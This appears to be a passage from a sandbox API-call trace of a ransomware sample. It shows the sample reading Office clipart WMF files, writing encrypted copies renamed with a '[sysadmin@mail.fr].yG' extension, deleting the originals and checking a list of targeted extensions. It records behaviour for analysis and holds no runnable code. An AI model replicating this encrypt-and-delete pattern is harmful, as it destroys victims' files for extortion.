	[0167.312] CloseHandle (hObject=0x350) returned 1
	[0167.312] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0167.312] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105396.wmf")) returned 1
	[0167.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68
	[0167.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68
	[0167.314] lstrlenW (lpString=".doc") returned 4
	[0167.314] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0167.314] lstrlenW (lpString=".docx") returned 5
	[0167.314] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0167.314] lstrlenW (lpString=".pdf") returned 4
	[0167.314] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0167.314] lstrlenW (lpString=".xls") returned 4
	[0167.314] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0167.314] lstrlenW (lpString=".xlsx") returned 5
	[0167.314] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0167.314] lstrlenW (lpString=".ppt") returned 4
	[0167.314] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0167.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68
	[0167.314] lstrlenW (lpString=".zip") returned 4
	[0167.314] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0167.314] lstrlenW (lpString=".rar") returned 4
	[0167.314] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0167.314] lstrlenW (lpString=".bz2") returned 4
	[0167.314] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0167.314] lstrlenW (lpString=".7z") returned 3
	[0167.314] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0167.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68
	[0167.314] lstrlenW (lpString=".dbf") returned 4
	[0167.315] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0167.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68
	[0167.315] lstrlenW (lpString=".1cd") returned 4
	[0167.315] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0167.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68
	[0167.315] lstrlenW (lpString=".jpg") returned 4
	[0167.315] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0167.316] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2bfff14 | out: lpFileSize=0x2bfff14*=3328) returned 1
	[0167.316] CloseHandle (hObject=0x350) returned 1
	[0167.316] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105398.wmf")) returned 0x220
	[0167.317] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105398.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0167.317] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105398.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0167.521] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.521] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.521] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105398.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0167.699] GetLastError () returned 0x0
	[0167.699] ReadFile (in: hFile=0x388, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0xd00, lpOverlapped=0x0) returned 1
	[0167.744] WriteFile (in: hFile=0x360, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xd10, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xd10, lpOverlapped=0x0) returned 1
	[0167.745] ReadFile (in: hFile=0x388, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x0, lpOverlapped=0x0) returned 1
	[0167.745] WriteFile (in: hFile=0x360, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xec, lpOverlapped=0x0) returned 1
	[0167.746] SetEndOfFile (hFile=0x360) returned 1
	[0167.746] CloseHandle (hObject=0x360) returned 1
	[0167.746] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.746] SetEndOfFile (hFile=0x388) returned 1
	[0167.750] CloseHandle (hObject=0x388) returned 1
	[0167.750] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0167.751] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105398.wmf")) returned 1
	[0167.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68
	[0167.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68
	[0167.752] lstrlenW (lpString=".doc") returned 4
	[0167.752] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0167.752] lstrlenW (lpString=".docx") returned 5
	[0167.752] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0167.752] lstrlenW (lpString=".pdf") returned 4
	[0167.752] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0167.752] lstrlenW (lpString=".xls") returned 4
	[0167.753] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0167.753] lstrlenW (lpString=".xlsx") returned 5
	[0167.753] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0167.753] lstrlenW (lpString=".ppt") returned 4
	[0167.753] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0167.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68
	[0167.753] lstrlenW (lpString=".zip") returned 4
	[0167.753] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0167.753] lstrlenW (lpString=".rar") returned 4
	[0167.753] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0167.753] lstrlenW (lpString=".bz2") returned 4
	[0167.753] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0167.753] lstrlenW (lpString=".7z") returned 3
	[0167.753] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0167.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68
	[0167.753] lstrlenW (lpString=".dbf") returned 4
	[0167.753] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0167.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68
	[0167.753] lstrlenW (lpString=".1cd") returned 4
	[0167.753] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0167.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68
	[0167.753] lstrlenW (lpString=".jpg") returned 4
	[0167.753] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0167.755] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2bfff14 | out: lpFileSize=0x2bfff14*=31812) returned 1
	[0167.755] CloseHandle (hObject=0x388) returned 1
	[0167.755] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105520.wmf")) returned 0x220
	[0167.755] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105520.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0167.755] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105520.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0167.756] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.756] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.756] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105520.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0167.758] GetLastError () returned 0x0
	[0167.758] ReadFile (in: hFile=0x388, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x7c44, lpOverlapped=0x0) returned 1
	[0167.773] WriteFile (in: hFile=0x360, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x7c50, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0x7c50, lpOverlapped=0x0) returned 1
	[0167.775] ReadFile (in: hFile=0x388, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x0, lpOverlapped=0x0) returned 1
	[0167.775] WriteFile (in: hFile=0x360, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xec, lpOverlapped=0x0) returned 1
	[0167.775] SetEndOfFile (hFile=0x360) returned 1
	[0167.776] CloseHandle (hObject=0x360) returned 1
	[0167.776] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.776] SetEndOfFile (hFile=0x388) returned 1
	[0167.780] CloseHandle (hObject=0x388) returned 1
	[0167.781] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0167.814] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105520.wmf")) returned 1
	[0167.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68
	[0167.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68
	[0167.815] lstrlenW (lpString=".doc") returned 4
	[0167.815] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0167.815] lstrlenW (lpString=".docx") returned 5
	[0167.815] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0167.815] lstrlenW (lpString=".pdf") returned 4
	[0167.815] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0167.815] lstrlenW (lpString=".xls") returned 4
	[0167.815] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0167.815] lstrlenW (lpString=".xlsx") returned 5
	[0167.815] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0167.815] lstrlenW (lpString=".ppt") returned 4
	[0167.815] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0167.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68
	[0167.815] lstrlenW (lpString=".zip") returned 4
	[0167.815] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0167.816] lstrlenW (lpString=".rar") returned 4
	[0167.816] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0167.816] lstrlenW (lpString=".bz2") returned 4
	[0167.816] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0167.816] lstrlenW (lpString=".7z") returned 3
	[0167.816] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0167.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68
	[0167.816] lstrlenW (lpString=".dbf") returned 4
	[0167.816] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0167.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68
	[0167.816] lstrlenW (lpString=".1cd") returned 4
	[0167.816] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0167.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68
	[0167.816] lstrlenW (lpString=".jpg") returned 4
	[0167.816] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0167.817] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x2bfff14 | out: lpFileSize=0x2bfff14*=7384) returned 1
	[0167.817] CloseHandle (hObject=0x554) returned 1
	[0167.817] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105530.wmf")) returned 0x220
	[0167.817] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105530.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0167.817] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105530.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0167.818] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.818] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.818] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105530.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c
	[0167.923] GetLastError () returned 0x0
	[0167.923] ReadFile (in: hFile=0x554, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x1cd8, lpOverlapped=0x0) returned 1
	[0167.944] WriteFile (in: hFile=0x48c, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x1ce0, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0x1ce0, lpOverlapped=0x0) returned 1
	[0167.954] ReadFile (in: hFile=0x554, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x0, lpOverlapped=0x0) returned 1
	[0167.954] WriteFile (in: hFile=0x48c, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xec, lpOverlapped=0x0) returned 1
	[0167.955] SetEndOfFile (hFile=0x48c) returned 1
	[0167.955] CloseHandle (hObject=0x48c) returned 1
	[0167.955] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.955] SetEndOfFile (hFile=0x554) returned 1
	[0167.961] CloseHandle (hObject=0x554) returned 1
	[0167.963] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0168.017] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105530.wmf")) returned 1
	[0168.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68
	[0168.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68
	[0168.119] lstrlenW (lpString=".doc") returned 4
	[0168.120] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0168.120] lstrlenW (lpString=".docx") returned 5
	[0168.120] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0168.120] lstrlenW (lpString=".pdf") returned 4
	[0168.120] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0168.120] lstrlenW (lpString=".xls") returned 4
	[0168.120] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0168.120] lstrlenW (lpString=".xlsx") returned 5
	[0168.120] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0168.120] lstrlenW (lpString=".ppt") returned 4
	[0168.120] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0168.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68
	[0168.120] lstrlenW (lpString=".zip") returned 4
	[0168.120] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0168.120] lstrlenW (lpString=".rar") returned 4
	[0168.120] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0168.120] lstrlenW (lpString=".bz2") returned 4
	[0168.120] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0168.120] lstrlenW (lpString=".7z") returned 3
	[0168.120] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0168.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68
	[0168.120] lstrlenW (lpString=".dbf") returned 4
	[0168.120] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0168.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68
	[0168.120] lstrlenW (lpString=".1cd") returned 4
	[0168.120] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0168.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68
	[0168.121] lstrlenW (lpString=".jpg") returned 4
	[0168.121] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0168.450] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x2bfff14 | out: lpFileSize=0x2bfff14*=8240) returned 1
	[0168.450] CloseHandle (hObject=0x51c) returned 1
	[0168.450] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105846.wmf")) returned 0x220
	[0168.450] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105846.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0168.451] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105846.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c
	[0168.452] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.452] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.453] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105846.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558
	[0168.454] GetLastError () returned 0x0
	[0168.454] ReadFile (in: hFile=0x51c, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x2030, lpOverlapped=0x0) returned 1
	[0168.502] WriteFile (in: hFile=0x558, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x2040, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0x2040, lpOverlapped=0x0) returned 1
	[0168.504] ReadFile (in: hFile=0x51c, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x0, lpOverlapped=0x0) returned 1
	[0168.505] WriteFile (in: hFile=0x558, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xec, lpOverlapped=0x0) returned 1
	[0168.505] SetEndOfFile (hFile=0x558) returned 1
	[0168.505] CloseHandle (hObject=0x558) returned 1
	[0168.505] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.505] SetEndOfFile (hFile=0x51c) returned 1
	[0168.805] CloseHandle (hObject=0x51c) returned 1
	[0168.805] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0168.869] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105846.wmf")) returned 1
	[0168.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68
	[0168.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68
	[0168.905] lstrlenW (lpString=".doc") returned 4
	[0168.905] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0168.905] lstrlenW (lpString=".docx") returned 5
	[0168.905] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0168.905] lstrlenW (lpString=".pdf") returned 4
	[0168.905] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0168.905] lstrlenW (lpString=".xls") returned 4
	[0168.905] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0168.905] lstrlenW (lpString=".xlsx") returned 5
	[0168.905] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0168.905] lstrlenW (lpString=".ppt") returned 4
	[0168.905] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0168.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68
	[0168.905] lstrlenW (lpString=".zip") returned 4
	[0168.905] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0168.905] lstrlenW (lpString=".rar") returned 4
	[0168.905] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0168.905] lstrlenW (lpString=".bz2") returned 4
	[0168.905] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0168.905] lstrlenW (lpString=".7z") returned 3
	[0168.905] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0168.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68
	[0168.905] lstrlenW (lpString=".dbf") returned 4
	[0168.905] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0168.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68
	[0168.906] lstrlenW (lpString=".1cd") returned 4
	[0168.906] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
